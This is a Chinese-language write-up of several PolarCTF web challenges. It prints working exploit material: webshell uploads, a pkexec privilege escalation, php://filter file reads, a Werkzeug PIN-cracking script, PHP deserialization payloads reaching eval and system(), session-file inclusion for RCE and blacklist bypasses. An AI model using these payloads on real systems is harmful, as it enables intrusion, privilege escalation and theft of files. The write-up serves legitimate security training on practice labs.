poalr困难

这又是一个上传

前端检查后缀 上传文件 bp抓包 改后缀

antsword连接后发现没权限 啥都读不了

image-20250708095035510

终端打开可以发现用户是www-data 没有读取文件的权限

查找SUID提权文件

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

image-20250708095317767

有个/opt/polkit-0.105/src/programs/.libs/pkexec

polkit-0.105/src/programs/.libs/pkexec存在本地提权漏洞 CVE-2021=4034

berdav/CVE-2021-4034: CVE-2021-4034 1day

polkit是一个授权管理器,其系统架构由授权和身份验证代理组成,pkexec是其中polkit的其中一个工具,他的作用有点类似于sudo,允许用户以另一个用户身份执行命令

提权前提:完整的tty是很多命令执行的前提,比如sudo,不是完整的tty是不能sudo的。

以下是一些必须依靠tty的命令。

passwd: 修改用户密码时,需要在TTY中输入当前密码和新密码。
su / sudo: 切换用户或以管理员权限执行命令时,通常需要在TTY中输入相应的密码。
shutdown / reboot: 关机或重启系统时,可能需要在TTY中输入管理员密码或确认操作。
top / htop: 查看系统进程和资源占用情况,这些命令在TTY中显示实时信息。
vim / nano / emacs: 编辑文本文件时,这些文本编辑器通常在TTY中使用。
apt / yum / dnf: Linux 发行版的包管理器,进行软件包安装、更新或删除时需要在TTY中执行。
ssh: 通过终端远程登录到其他计算机时,需要在TTY中输入密码或进行身份验证。
gnome-terminal / konsole / xterm: 在图形界面下打开终端时,这些终端模拟器在TTY中运行。

原文链接:https://blog.csdn.net/Jayjay___/article/details/135097075

linux tty、伪tty是什么?-CSDN博客

使用哥斯拉的superterminal(命令执行),可以直接解决没完整tty的问题

antsword就不行了

至于Godzilla的使用

我是用命令打开的

java -jar godzilla.jar

先用godzilla生成一个木马重新上传 连接 注意改一下有效载荷

image-20250708101359152

image-20250708101552153

连接成功 然后右键进入就可以了

image-20250708101802456

使用superterminal 可以解决伪tty的问题

然后看了好多博客 发现都是传到了/tmp文件夹下 但是我这里是不显示/tmp文件夹的 没有读写权限

image-20250708103302371

image-20250708103314886

因为upload文件夹肯定是有读写权限的 就直接传到upload文件夹下了

命令

1
2
3
4
make
./cve-2021-4034
whoami
cat /flag

image-20250708104131068

image-20250708104159658

参考文章:Polar 这又是一个上传_这又是一个上传 polar-CSDN博客

网站被黑

查看消息头发现Hint

image-20250708105635683

base32解码

image-20250708105753488

image-20250708105803699

text通过data伪协议进行写入

1
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgNTA0c3lz

file要通过php://filter协议进行读取 base被禁了

利用其他过滤器

特殊编码

  1. base家族
  2. string过滤器
  3. iconv字符集

base64编码

注意php://filter只支持base64

image-20240328220037091

1
php://filter/convert.base64-encode/resource=flag.php

string过滤器

比较常用的就是rot13

1
php://filter/string.rot13/resource=flag.php

string.strip_tags从字符串中去除 HTML 和 PHP 标记,php标签里所有东西都会被去除,html只有标签会被去除,里面的文字不会删除

1
php://filter/string.strip_tags/resource=flag.php

还有大小写的转换,但是基本没什么用

iconv字符集

convert.iconv..

image-20240328201706030

如何理解结构

convert.iconv..

  • input-encoding

    用于解释 string 的当前编码。 数据流 可以识别的字符集

  • to_encoding

    所需的结果编码。 (进行转换的字符集)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*

UCS是什么:通用多八位编码字符集

常用的编码绕过

对于小众编码的解码在线网站 https://www.novel.tools/decode/

将flag.php内容解释为UTF-8后转化为UTF-7进行输出

1
php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php

将flag.php内容解释为UTF-7后转化为UCS-2进行输出

1
php://filter/convert.iconv.UTF-7.UCS-2/resource=flag.php

依次类推,编码方法有很多

1
php://filter/convert.iconv.UTF-7.UCS-4/resource=flag.php

php://filter/read=convert.quoted-printable-encode/resource=flag.php

这个流包装器将文件内容 以 quoted-printable 编码进行转换

  • convert.quoted-printable-encode
    • 将文件内容转换为 quoted-printable 编码,这种编码通常用于电子邮件中传输非 ASCII 字符或二进制数据。
  • 用法:这种转换通常用于编码文件内容,以便将其传输到电子邮件或需要编码的其他系统。

示例:

1
file = file_get_contents('php://filter/read=convert.quoted-printable-encode/resource=flag.php');

这将读取 flag.php 文件,并对其内容应用 quoted-printable 编码。

这里利用rot13编码

payload:

1
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgNTA0c3lz&file=php://filter/string.rot13/resource=imposible.php

image-20250708113003868ji

rot13解码得到flag

1
2
3
4
5
6
7
<?php

$encoded = "synt{s46os8522o91s67n02o81s9522s3q80o}";

$decoded = str_rot13($encoded);

echo $decoded;

flask_pin

image-20250709103712453

pin码计算

找到六个参数 计算ping码 通过consle 来执行命令

1
2
3
4
5
6
1.username  -->用户名
2.modname -->flask.app
3.getattr(app,"__name__",app.__class__.__name__) ->>Flask
4.getattr(mod,"__file__",None) -->flask目录下的一个app.py的绝对路径
5.str(uuid.getnode()) -->mac地址十进制
6.get_machine_id() -->根据操作系统不同,有四种获取方式

app.py路径 : /usr/local/lib/python3.5/site-packages/flask/app.py

报错页面就有

image-20250709103846030

image-20250709104005402

/file路由 有一个任意文件读取漏洞

username: root

image-20250709104110445

modname: 固定为flask.app

1
getattr(app,"__name__",app.__class__.__name__): 也基本固定为Flask

uuid: 02:42:ac:02:25:4a 转换为十进制 是十六进制转十进制 : 删去 得到 2485376918858

读取/sys/class/net/ens33/address #contos

或 /sys/class/net/eth0/address #ubuntu

该题是ubuntu

image-20250709113713913

1
2
3
mac = "02:42:ac:02:25:4a"
mac_int = int(mac.replace(":", ""), 16)
print(mac_int)

get_machine_id():

c31eea55a29431535ff01de94bdcf5cf15df40d3ac9f85fa827123f2309677b65db5c28fb802f773b25d9b41c23af0af

读取 /etc/machine-id 在前 /proc/self/cgroup #docker 第一行最后一部分

两个进行拼接

image-20250709113508227

image-20250709113411370

计算pin码 这里是用md5算法生成pin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import hashlib
from itertools import chain

probably_public_bits = [
'root', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),绝对路径
]

private_bits = [
'2485376918858', # str(uuid.getnode()), /sys/class/net/ens0/address
'c31eea55a29431535ff01de94bdcf5cf15df40d3ac9f85fa827123f2309677b65db5c28fb802f773b25d9b41c23af0af'
# get_machine_id(), /etc/machine-id 加上 /proc/self/cgroup 两个值拼接
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

得到pin码:205-202-775

进入console界面 输入pin码 进入控制台 在控制台中执行命令

image-20250709114401761

veryphp

image-20250708154724253

1
shaw_root=a9<b>aaaaaaaa>>>>xyzabcp@Rsa

_用 [ 绕过

1
shaw[root=-a9<b>aaaaaaaa>>>>xyzabcp@Rsa

用bp传

image-20250708155116673

爆破MD5

md5(“shaw”.($SecretNumber).”root”)==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5

使用hashcat爆破 kali是自带的 SecretNumber是5个数字

1
hashcat -m 0 -a 3 166b47a5cb1ca2431a0edfcef200684f shaw?d?d?d?d?droot

image-20250708155253984

爆破出的是shaw21475root

即ans=21475

payload:

1
haw[root=-a9<b>aaaaaaaa>>>>xyzabcp@RsaS&ans=21475&my[ans=qwq::oao

image-20250708155611307

毒鸡汤

扫描可以发现有 robots.txt www.zip

robots.txt文件里是一个hint.txt

这个hint说flag文件放到系统根目录了

image-20250708193654309

www.zip件的index.php里有一个任意文件包含

直接传参读/flag文件就出了

1
?readfile=/flag

image-20250708193814017

upload tutu

传的文件不能一样(文件内容不一样)

image-20250708195843582

MD5哈希值不匹配 这里是MD5的弱比较

改一下文件内容即可 发包会跳转到flag界面

1
2
QLTHNDT
240610708

image-20250708200138143

Unserialize_Escape

image-20250708204403212

x被替换成yy 字符串逃逸

需要unserialize($r)[1] == “123456”

所以要逃逸的内容是

1
";i:1;s:6:"123456";}

共20个字符 前面加20个x

xxxxxxxxxxxxxxxxxxxx”;i:1;s:6:”123456”;}

即payload:

1
username=xxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}

查看源码即可

image-20250708204710736

image-20250708204730946

自由的文件上传系统

image-20250708205020467

上传一个文件 文件会被重命名 也就导致木马没有上传成功

image-20250708205050101

点击那个小房子 会跳转到一个文件包含的页面 所以这题就是要通过文件包含去利用木马

读取一下上传的文件 发现 ? 被替换为 ! 了

image-20250708205406356

可以用php的script标记来绕过

即上传内容为

1
2
3
<script language="php">
@eval($_POST['1']);
</script>

image-20250708210331222

上传成功 通过文件包含读取上传的文件 执行命令

image-20250708210555031

苦海

反序列化

image-20250708214321032

最终利用点是

1
2
3
4
5
public function Get_file($file)   
{
$hint = base64_encode(file_get_contents($file));
echo $hint;
}

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class User
{
public $name = 'PolarNight';
public $flag = 'syst3m("rm -rf ./*");';
}

class Surrender
{
public $phone = 110;
public $promise = '遵纪守法,好公民~';
}

class FileRobot
{
public $filename = '../flag.php';
public $path;
}
$b=new Surrender();
$c=new FileRobot();
$a=new User();
$a->name=$b;
$b->file['filename']=$c;
$c->path=$c;
echo serialize($a);

读取的是 ../flag.php文件

paylaod:

1
?user=O:4:"User":2:{s:4:"name";O:9:"Surrender":3:{s:5:"phone";i:110;s:7:"promise";s:25:"遵纪守法,好公民~";s:4:"file";a:1:{s:8:"filename";O:9:"FileRobot":2:{s:8:"filename";s:11:"../flag.php";s:4:"path";r:6;}}}s:4:"flag";s:21:"syst3m("rm -rf ./*");";}

image-20250708214706792

base64解码

你想逃也逃不掉

image-20250709153928941

字符串逃逸

需要逃逸出的内容 “;s:6:”passwd”;s:4:”flag”;s:4:”sign”;s:6:”ytyyds”;}

目标代码是 flag”;s:4:”sign”;s:6:”ytyyds”;}

需要吃掉 “;s:6:”passwd”;s:4:” 20个字符

5个phtml

name=phtmlphtmlphtmlphtmlphtml

passwd=”;s:6:”passwd”;s:4:”flag”;s:4:”sign”;s:6:”ytyyds”;}

然后这里是不对的 本地测试一下

image-20250710105448495

1
2
3
4
5
6
a:3:{s:8:"username";s:20:"";s:6:"passwd";s:51:"";s:6:"passwd";s:4:"flag";s:4:"sign";s:6:"ytyyds";}";s:4:"sign";s:6:"ytyyds";}
s:20:"";s:6:"passwd";s:51:" 发现这里是21个字符 但是s是20 把前面 " 删掉就可以了

passwd=;s:6:"passwd";s:4:"flag";s:4:"sign";s:6:"ytyyds";}
a:3:{s:8:"username";s:20:"";s:6:"passwd";s:50:";s:6:"passwd";s:4:"flag";s:4:"sign";s:6:"ytyyds";}";s:4:"sign";s:6:"ytyyds";}
符合序列化结构 可以进行反序列化 sign=ytyyds

paylaod:

1
2
name=phtmlphtmlphtmlphtmlphtml
passwd=;s:6:"passwd";s:4:"flag";s:4:"sign";s:6:"ytyyds";}

image-20250710110144015

搞不清楚字符串逃逸减少,不知道为什么会多一个字符 总之能出了 就先这样吧

safe_include

image-20250709151838370

本地文件包含漏洞(LFI) 可以用来实现任意代码执行(RCE

Session 文件包含 RCE

1
2
?xxs=<?php system('ls /');?>
Cookie: PHPSESSID=abcdefg
1
$_SESSION['xxs'] = "<?php system('id'); ?>";

PHP 会将这个内容写入 /tmp/sess_abcdefg

然后访问:

1
2
GET /?xxs=/tmp/sess_abcdefg
Cookie: PHPSESSID=abcdefg

服务端执行:

1
include "/tmp/sess_abcdefg";

从而触发 system('ls'); —— 远程命令执行

image-20250709152202954

image-20250709152220937

image-20250709152237633

写入的php代码只能执行一次

phar

image-20250709170848961

有个文件包含漏洞 读取funs.php

1
?file=php://filter/read/convert.base64-encode/resource=funs.php

image-20250709170953224解码得到

image-20250709171013270

反序列化漏洞

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class A
{
public $a;
}

class B
{
public $b = array();
}
class C{
public $c = array();
}
$a=new A;
$b=new B;
$c=new C;
$a->a=$b;
$b->b=array("kfc"=>$c);
$c->c=array("vm50"=>"flag");
echo serialize($a);

payload:

1
?file=f1@g&data=O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";a:1:{s:3:"kfc";O:1:"C":1:{s:1:"c";a:1:{s:4:"vm50";s:4:"flag";}}}}}

image-20250709171954875

PHP_Deserialization

image-20250710100436898

1
Polar.__wakeup -> Night.__call -> Day.__toString 

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class Polar
{
public $night;
public $night_arg;

}

class Night
{

}

class Day
{
public $filename="/flflagag"; #flag 双写绕过
}
$a=new Polar;
$b=new Night;
$c=new Day;
$a->night=$b;
$a->night_arg=$c;
echo base64_encode(serialize($a));

payload:

1
Tzo1OiJQb2xhciI6Mjp7czo1OiJuaWdodCI7Tzo1OiJOaWdodCI6MDp7fXM6OToibmlnaHRfYXJnIjtPOjM6IkRheSI6MTp7czo4OiJmaWxlbmFtZSI7czo5OiIvZmxmbGFnYWciO319

image-20250710100605350

Deserialize

image-20250710150821136

访问/hidden

​ /hidden/hidden.php

image-20250710150859825

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class Token {
public $id;
public $secret;
}

class User {
public $name;
public $isAdmin = 1;
public $token;
}

class Product {
public $productName;
public $price;
}
$a=new User;
$b=new Token;
$c=new Product;
$a->isAdmin=1;
$a->token=$b;
$b->product=$c;
echo serialize($a);

payload:

1
?data=O:4:"User":3:{s:4:"name";N;s:7:"isAdmin";i:1;s:5:"token";O:5:"Token":3:{s:2:"id";N;s:6:"secret";N;s:7:"product";O:7:"Product":2:{s:11:"productName";N;s:5:"price";N;}}}

image-20250710150946899

ezezser

源码不全 .git泄露

扫描

image-20250710154334627

用githacker工具恢复源码

WangYihang/GitHacker:🕷️一个 ‘.git’ 文件夹利用工具,能够恢复整个 Git 仓库,包括储藏、常用分支和常用标签。

1
githacker --url http://1ae847d2-d227-4123-910b-3b6f31b83a11.www.polarctf.com:8090/.git/ --output-folder polarctf

image-20250710154512167

打开文件执行

1
git  log

image-20250710154631452

使用命令git diff + 版本commit,查看信息改动,恢复源码

1
git diff 0c635537b773cdd87268e7dbdc51f985eca0b0b4

image-20250710154711134

image-20250710154804403

image-20250710154814346

index.php文件里得到恢复好的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
error_reporting(0);
highlight_file(__FILE__);

$polarday=$_GET['polarday'];
$polarnight=$_GET['polarnight'];

if(isset($polarday) && isset($polarnight)){
$polar520 = unserialize($_COOKIE['polar520']);
$polar520->login($polarday,$polarnight);
}

class info{
private $polar520='nukaka';
public function getInfo(){
return $this->polar520;
}
}

class polar520{
private $polarday='nukaka';
private $polarnight='nukaka';
private $polar=false;
private $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($a,$b){
return $this->polarday===$a&&$this->polarnight===$b;
}
public function __destruct(){
$this->class->getInfo();
}
}

class backDoor{
private $key;
public function getInfo(){
eval($this->key);
}
}

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class info{
private $polar520='nukaka';
}

class polar520{
private $polarday='nukaka';
private $polarnight='nukaka';
private $polar=false;
private $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
}

class backDoor{
private $key="system('ls /');";
}
$b=new polar520;
$c=new backDoor;
echo urlencode(serialize($b));

paylaod:

1
2
3
4
5
6
7
?polarnight=1&polarday=1
#ls /
Cookie: polar520=O%3A8%3A%22polar520%22%3A4%3A%7Bs%3A18%3A%22%00polar520%00polarday%22%3Bs%3A6%3A%22nukaka%22%3Bs%3A20%3A%22%00polar520%00polarnight%22%3Bs%3A6%3A%22nukaka%22%3Bs%3A15%3A%22%00polar520%00polar%22%3Bb%3A0%3Bs%3A15%3A%22%00polar520%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A13%3A%22%00backDoor%00key%22%3Bs%3A15%3A%22system%28%27ls+%2F%27%29%3B%22%3B%7D%7D

#cat /flag
Cookie:
O%3A8%3A%22polar520%22%3A4%3A%7Bs%3A18%3A%22%00polar520%00polarday%22%3Bs%3A6%3A%22nukaka%22%3Bs%3A20%3A%22%00polar520%00polarnight%22%3Bs%3A6%3A%22nukaka%22%3Bs%3A15%3A%22%00polar520%00polar%22%3Bb%3A0%3Bs%3A15%3A%22%00polar520%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A13%3A%22%00backDoor%00key%22%3Bs%3A20%3A%22system%28%27cat+%2Fflag%27%29%3B%22%3B%7D%7D

image-20250710160220729

image-20250710160339170

任务cmd

源码里的提示

image-20250710161050124

image-20250710161019526

image-20250710161026199

扫描发现了一个new目录

进入/new/boss.html文件

image-20250710161137138

计划一 可以看到是一个upload.php文件image-20250710161152297

计划二 cmd 白名单计划

image-20250710161216635

感觉是猜吗 upload.php文件里 是可以GET传参cmd执行命令的

cat /flag 读取不了

看一下upload.php文件

cat upload.php

image-20250710161534017

发现flag在黑名单里 用反反斜杠绕过即可

cmd传参的命令的第一个词(即命令名)需要是ls或者cat

1
ls /;cat /f\lag

image-20250710162418786